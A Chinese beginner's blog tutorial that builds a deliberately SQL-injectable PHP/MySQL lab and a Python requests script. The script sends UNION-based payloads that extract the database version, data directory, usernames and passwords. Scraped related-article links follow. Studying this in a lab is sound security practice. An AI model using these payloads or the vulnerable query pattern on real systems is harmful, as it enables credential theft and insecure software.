现在,开始!

  • 0x00 前言

今天刚刚把http://drops.wooyun.org/tips/12751放到收藏夹准备看的,然后又看到题主的这个问题。顺便观摩了1楼大神的博客,我这种炒鸡新手表示很兴奋啊,阔以好好学习代码审计吖!但是萌妹子说了“不会开发的谈审计都是耍流氓!:)”。怎么办?? 我不会开发啊,我怎么学啊?????

  • 0x01 不会开发可以”抄”

作为一个学渣,要考试的时候,总是把历年考题拿出来,别人题型怎么写的,你就怎么套,不用去管他原理。就好比别人都叫三楼红老师,我们也这样叫就准没错的。昨天三个白帽的那个hanmeimei和lilie的题都不知道怎么下手,怎么办?我自己写一个吧!

  • 0x02 抄sql语句
DROP DATABASE IF EXISTS foolish;
CREATE DATABASE foolish;

CREATE USER user1@'%' IDENTIFIED BY 'password1';
GRANT ALL PRIVILEGES ON foolish.* TO user1;

USE foolish;
CREATE TABLE users
(
  id int(3) NOT NULL AUTO_INCREMENT,
  username varchar(20) NOT NULL,
  password varchar(20) NOT NULL,
  PRIMARY KEY (id)
);

INSERT INTO foolish.users (id,username,password) VALUES ('1','lilei','49ba59abbe56e057'),('2','hanmeimei','80650b029161be86'),('3','xiao3','7bf9108cd896f33c');

蛤蛤,炒鸡简单,会点英文就可以看懂。

  • 0x03 抄php代码
<?php
    echo '<body >';
    $con = mysqli_connect('127.0.0.1','root','',"foolish");

    if(isset($_GET['name']))
    {
    $name = $_GET['name'];
    $sql = "SELECT * FROM users WHERE username='".$name."' LIMIT 0,1";
    $result = mysqli_query($con,$sql);
    $row = mysqli_fetch_array($result);
    if($row)
    {
        echo "<font size = '5' >";
        echo "<em>";
        echo "Your login name :";
        echo $row['username'];
        echo "</em>";
        echo "</font>";
    }
    else
    {
        echo "hell";
        echo '<font color = "#FFF000">';
        print_r(mysqli_error());
        echo "</font>";
    }
    }
    echo '</body>';
?>

保存为poc.php,调试出来后,发现其实是相当简单的。

  • 0x04

    直接将sql文件导入到数据库,php文件就可以访问了,反正我这测试可以访问.

    http://127.0.0.1/poc.php?name=lilei

    非常容易的注入,就不分析了。

  • 0x05 楼主说的用python写poc

首先,之前一直看评论有人在说requests模块。虽然,我没有用过,但是我会抄代码啊,打开官方文档。其实就是用python模拟浏览器请求,然后接受返回值。中间进行判断之类的。

POC:

import requests
from bs4 import BeautifulSoup
import sys

def main(argv):
  if(len(argv) == 1):
    print "Usege:python exploit.py http://localhost/"
  else:
    url = argv[1]
    all_payload = ["poctest.php?name=lilei'and 1=2 union select 1,2,3--+",
               "poctest.php?name=lilei'and 1=2 union select 1,@@version,3--+",
               "poctest.php?name=lilei'and 1=2 union select 1,@@datadir,3--+",
               "poctest.php?name=lilei'and 1=2 union select 1,username,3 from users--+",
               "poctest.php?name=lilei'and 1=2 union select 1,password,3 from users--+"
          ]
    for payload in all_payload:
      exp = url + payload
      r = requests.get(exp)
      soup = BeautifulSoup(r.text,"html.parser")
      print soup.em.string[16:]

if __name__ == '__main__':
  main(sys.argv)
  • 0x06 总结

    由于楼主问从学Python到写个poc用多长时间,其实吧,主要是你前提得给漏洞原理分析出来。写poc就是程序代替人的过程。

    其实吧,编程只是一个工具,对于所有语言。他都是要接收一个输入,来自人类。然后程序内部进行处理。最后输出给人类。

    所以,对于这个漏洞程序来说:

    (1)php的接收人类的输入是$_GET[‘name’]。

    php输出给人类的是浏览器上显示的结果。

    php输出给mysql服务器的是要执行的sql语句。(这里造成漏洞)

    (2)mysql接收的是php传递的执行语句

    mysql输出的是执行的结果

    (3) python输入的是url参数

    python输出的是exploit的结果

所以,我的总结是学习语言,要先明白他的输入-输出模型,然后求出它的传递函数。也就是中间的各种算法类的,也就是红老师说的打好基础。

但是,对于新手来说,兴趣比较重要,代码的东西这么复杂,你要都去了解很打击信心的,你只需要知道别人这样做是对的,你就这样做准没错

学习Python到写poc其实没那么难的更多相关文章

  1. xray写POC踩坑

    错误记录 静态文件目录不一定是static. 只考虑了linux的情况,如果是 windows 呢,能读取某些应用自己的源码吗. 实际环境参数不一定是id,thinkphp 不适合使用 poc 来写 ...

  2. [更新Github地址]python学习,自己写了个简单聊天工具mychat

    最近在学习python,自己写了个最最简单的聊天工具mychatv0.1. 第一版,完成基本的聊天功能. GUI用的是自带的TKinter,用到的模块主要就是socket(网络编程), thread( ...

  3. Python+selenium测试环境成功搭建,简单控制浏览器(firefox)接下来,继续学习其他浏览器上的测试环境搭建;学习Python语言,利用Python语言来写测试用例。加油!!!

    Python+selenium测试环境成功搭建,简单控制浏览器(firefox)接下来,继续学习其他浏览器上的测试环境搭建:学习Python语言,利用Python语言来写测试用例.加油!!!

  4. python从写定时器学习Thread

    目录 python从写定时器学习Thread Timer 对象 粗陋的循环定时器 更 pythonic 循环定时器 FAQ python从写定时器学习Thread python 如何写一个定时器,循环 ...

  5. 关于sqlmap当中tamper脚本编码绕过原理的一些总结(学习python没多久有些地方肯定理解有些小问题)

    sqlmap中tamper脚本分析编写 置十对一些编码实现的脚本,很多sqlmap里面需要引用的无法实现,所以有一部分例如keywords就只写写了几个引用了一下,其实这里很多脚本运用是可以绕过安全狗 ...

  6. 1 python学习——python环境配置

    1 python学习--python环境配置 要学习python语言,光看书看教程还是不好,得动手去写.当然,不管学习什么编程语言,最佳的方式还在于实践. 要实践,先得有一个Python解释器来解释执 ...

  7. 学习Python编程的11个资源

    用 Python 写代码并不难,事实上,它一直以来都是被声称为最容易学习的编程语言.如果你正打算学习 web 开发,Python 是一个不错的选择,甚至你想学游戏开发也可 以从 Python 开始,因 ...

  8. 学习Python编程的11个精品资源

    本文由 伯乐在线 - atupal 翻译自 Alex Ivanovs.欢迎加入技术翻译小组.转载请参见文章末尾处的要求. 用 Python 写代码并不难,事实上,它一直以来都是被声称为最容易学习的编程 ...

  9. 小白学习Python之路---开发环境的搭建

    本节内容 1.Python的介绍 2.发展史 3.安装Python 4.搭建开发环境 5.Hello World程序 一.Python的介绍 Python的创始人为荷兰人吉多·范罗苏姆(Guido v ...

随机推荐

  1. [NOIP2001] 提高组 洛谷P1026 统计单词个数

    题目描述 给出一个长度不超过200的由小写英文字母组成的字母串(约定;该字串以每行20个字母的方式输入,且保 证每行一定为20个).要求将此字母串分成k份(1<k<=40),且每份中包含的 ...

  2. FusionCharts for Flex 如何更改图表数据

    FusionCharts allows to change chart data and re-render the chart, after it has loaded on the user’s ...

  3. hashlib-sha摘要算法模块

    摘要:hashlib: 摘要算法的模块 用处: 1.查看某两个文件是否完全一致 "abcdefggg" "abcdefhhg" 2.加密认证 把密码加密后写入文 ...

  4. POJ 1860【求解是否存在权值为正的环 屌丝做的第一道权值需要计算的题 想喊一声SPFA万岁】

    题意: 有n种钱币,m个钱币兑换点,小明一开始有第n种钱币数量为w. 每个兑换点可以将两种不同的钱币相互兑换,但是兑换前要先收取一定的费用,然后按照比例兑换. 问小明是否可以经过一系列的兑换之后能够将 ...

  5. CTEX - 在线文档 - TeX/LaTeX 常用宏包

    CTEX - 在线文档 - TeX/LaTeX 常用宏包       页面与章节标题式样   浮动对象及标题设计   生成与插入图形   表格与列表   目录与索引   参考文献   数学与化学公式 ...

  6. &quot;What&#39;s New&quot; WebPart in SharePoint

    "What's New" WebPart in SharePoint 项目描写叙述         这是一个自己定义WebPart,能够显示一个列表,这个列表项目是在SharePo ...

  7. IntelliJ 中类似于Eclipse ctrl+q的是Ctrl+Shift+Backspace

    IntelliJ 中类似于Eclipse ctrl+q的是Ctrl+Shift+Backspace 回到刚刚编辑的地方: ctrl+alt+Left 是回到刚刚浏览的地方,不一定是编辑的地方,可能已经 ...

  8. LoadRunner系列实例之— 01录制cas登陆脚本

    关于CAS 的概念,见链接 需要增加4个关联函数,初次加载页面时取cookie和it1,输入账号密码点击登录时,取ticketGrantingTicketId和it2 实际上前后台完成两次交互, // ...

  9. request.getAttribute()与request.setAttribute()

    request.getAttribute()与request.setAttribute() request.getAttribute("nameOfObj")可得到JSP页面一表单 ...

  10. spring实战笔记6---springMVC的请求过程

    之前有一次在面试其中被问到了这个问题.当时说得不是非常清楚,有些细节的地方想不起来了.所以在这里从新回想和总结一下SpringMVC的起步.请求的运行过程. 在SpringMVC其中.跟请求(Requ ...